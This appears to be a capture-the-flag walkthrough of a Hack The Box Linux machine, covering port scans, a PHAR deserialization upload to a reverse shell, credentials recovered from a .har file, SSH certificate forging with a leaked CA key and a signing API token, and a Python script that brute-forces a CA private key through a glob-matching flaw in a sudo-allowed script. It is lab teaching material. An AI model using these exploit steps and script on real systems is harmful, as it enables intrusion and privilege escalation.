This is an Ubuntu 22.04 machine used by an IT team. The host runs a web server where the users can open IT tickets and upload ZIP files. This functionality is vulnerable to PHAR deserialization and this allows us to gain a first shell in the system as www-data. Then we move laterally to another user with credentials found in the file system, and move laterally again to collect the user flag with an old CA key pair found in the system. Regarding escalation, we have to move laterally between users. First we use a local API that signs key pairs for different roles (principals). Eventually, we land in an user environment whose sudo configuration permits running an script vulnerable to wildcard injection. Abusing this we finally get a root shell.
> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-10 08:19 EDT
Nmap scan report for 10.10.11.27
Host is up, received user-set (0.044s latency).
Not shown: 65221 closed tcp ports (conn-refused), 311 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
2222/tcp open EtherNetIP-1 syn-ack
Nmap done: 1 IP address (1 host up) scanned in 12.31 seconds
Enumerate the open ports.
> nmap $target p22,80,2222 -sV -sC -Pn -vv -n
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-10 08:30 EDT
Nmap scan report for 10.10.11.27
Host is up, received user-set (0.039s latency).
Scanned at 2024-08-10 08:30:53 EDT for 8s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 d54f62397bd222f0a88ad99035605688 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBATYMh9+BdqMhKwmA92batW+nssvLnig8s6LRKfe4TUd4IfmWsL1NeMU+03etGZssHGdzVGuKWinJEZP8nxPCSg=
| 256 fb67b06052f2127e6c13fb75f2bb1aca (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDBeEEQbMbbA8xyqfl6Z4O04eLAIn5/kX1+dhQn96SJp
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2a683b9906b6c543222ecaf1704bd16 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPYMhQGEpSM4Alh2GZifayHk69JaFxvinZsgYG+EmcDoShW6Q24vrCoG7QFlArzIHmzoNyPewZ05MjQ7dKttWbk=
| 256 0cc39c10f57fd3e4a8286a51ad1ae1bf (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF7vRlT0/vggYRb7yoEPXwV4ZAZEu0Qq/mfj1sKKjnK
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 8.66 seconds
Add to hosts file and inspect the site with Firefox. An IT ticket management site appears, you can register a new user and login.
The application allows users to create tickets, and offers the possibility of uploading ZIP files.
Let's prepare a PHP reverse shell, compress as ZIP and upload using the application. Take note of the name of the PHP file (shell.php), it will be needed later. Once it is uploaded, you can open the ticket and check the ZIP file upload path by hovering the mouse over the ZIP file.
The payload must include the path to the ZIP file plus the name of the PHP reverse shell file without extension. In this case, shell file is called shell.php, so we just append shell at the end of the payload.
A reverse shell for user www-data is received on port 1919.
Navigate to /var/www/itrc/uploads, there is a bunch of ZIP files there. Unzip the file c2f4813259cc57fab36b311c5058cf031cb6eb51.zip there is a .har file inside.
Inside the file there are credentials for user msainristil:82yards2closeit
Use them to SSH into the host.
This shell is not valid for the user flag, so next step is to find another user to move laterally. Enumerate the system users with an associated shell.
> ssh-keygen -t rsa -b 2048 -f stuff
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in stuff
Your public key has been saved in stuff.pub
The key fingerprint is:
SHA256:luiRsjMYE8wiwQBKl24EoTy6G+i8o2Utvxe4mn09CAw msainristil@itrc
The key's randomart image is:
+---[RSA 2048]----+
|B+o.. |
|==.o |
|=o* |
|o.E+ o . |
|. +o..+ S |
|.. =++.o |
|+ = =o.+ |
|o* =.o+ o |
|++=.++ . |
+----[SHA256]-----+
> ls -hal stuff*
-rw------- 1 msainristil msainristil 1.8K Aug 10 14:43 stuff
-rw-r--r-- 1 msainristil msainristil 398 Aug 10 14:43 stuff.pub
Now sign the public key for zzinter (flag -n) using the CA private key (-s flag). An additional flag -I is needed and indicates user's identity, typically an email address, but anything can be specified in this field.
> ssh-keygen -s ca-itrc -n zzinter -I hey@hey.com stuff.pub
Signed user key stuff-cert.pub: id "hey@hey.com" serial 0 for zzinter valid forever
Now you can open an SSH session as zzinter
And retrieve the user flag.
ROOT
Start from the low-priv zzinter shell and take the opportunity to enumerate the system.
It seems the API outputs a signed certificate containing the public key. Copy the certificate as support.cert and use it to connect to the host as user support (use port 2222).
> ssh -o CertificateFile=support.cert -i support support@itrc.htb -p 2222
Notice the hostname has changed, so let's enumerate again the user and the system.
> whoami && id
support
uid=1000(support) gid=1000(support) groups=1000(support)
> uname -a && cat /etc/os-release
Linux ssg 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
In the new shell, move to /etc/ssh/auth_principals, there we see all the possible principals we can use to sign certificates.
> cd /etc/ssh/auth_principals && cat *
root_user
support
root_user
zzinter_temp
It seems we can request also root_user and zzinter_temp principals, so let's follow the same procedure as used for support principal.
Generate a key pair in the host, transfer to Kali and sign the certificate using the API.
> curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdtpchTssw/eBJ6wRJ8XljD4y5cMZ+t26b095vhA8w6ks0BhsvQBWBmTh4RVmUQgLXEfEX/sgaY+zZaH0QZ4kgpfN9qZeFNp1KdpS/He4aE4oaKU/Nx1WVMiFNNUC9ufloPEpRPHiZahTDM9IZTDMRhdeWcNnCOpebgt6lKdlzBSW9bYwxsXo0kdbBTc4O3F9HqajtCd6N4oH1Vw4diOntTW4Joob4eYHMHkV2le+XEZmsmGEGh2EqODzFlwXPrgmNXfTjCgaa5FELdXR8AOiSrStPu2Svr323p3SEPfXo1x49BlR3MM9QZC7IuVYnrEtX/7q2Jtqxh0VLOBjeN5lR zzinter@itrc", "username": "root", "principals": "root_user"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
{"detail":"Root access must be granted manually. See the IT admin staff."}
This time it didn't work, it seems generating certificates for root is disabled for security reasons. Let's try for zzinter_temp principal.
In this case the certificate is correctly generated for zzinter_temp. Copy as zzinter_temp.cert and update permissions. Then use it to connect to the host, we receive a shell as user zzinter
> sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh
Enumerate the script /opt/sign_key.sh
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"
This code is vulnerable to wildcard injection, similar to what we found in Week 6. Codify (Season 3). The vulnerable part of the code is here:
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
Basically, the script takes the ca_file entered by the user in the arguments and compares it with /etc/ssh/ca-it, but a double square bracket is used for the comparison, meaning that the statement will be true in the case we use wildcards in the ca-file
For example, both strings "ABCDEFGH..." and "A*" will be evaluated as true. Note that this will not happen if we use single square brackets.
The following Python script is similar to what we did inWeek 6. Codify (Season 3), and it dumps the contents of the /etc/ssh/ca-it file.
import os
import string
import subprocess
chars = string.ascii_letters + string.digits + '-+=/'
header = "-----BEGIN OPENSSH PRIVATE KEY-----\n"
footer = "\n-----END OPENSSH PRIVATE KEY-----"
key = []
while True:
found = False
for char in chars:
testKey = header + "".join(key) + char + '*'
with open('/var/tmp/ca_file', 'w', encoding='utf-8') as f:
f.write(testKey)
result = subprocess.run(
['bash', '-c', f"echo -n '{testKey}' > /var/tmp/ca_file; sudo /opt/sign_key.sh /var/tmp/ca_file /var/tmp/root.pub root security 12334"],
capture_output=True, text=True
)
if "Error: Use API for signing with this CA." in result.stdout:
key.append(char)
print("Char found\n")
print(f"{key}")
found = True
if len(key) > 0 and (len(key) % 70 == 0):
key.append("\n")
break
if not found:
break
testKey = header + "".join(key) + footer
with open('/var/tmp/ca_file', 'w', encoding='utf-8') as f:
f.write(testKey)
print(testKey)
Copy to the host and run, shortly after the root private key is bruteforced.
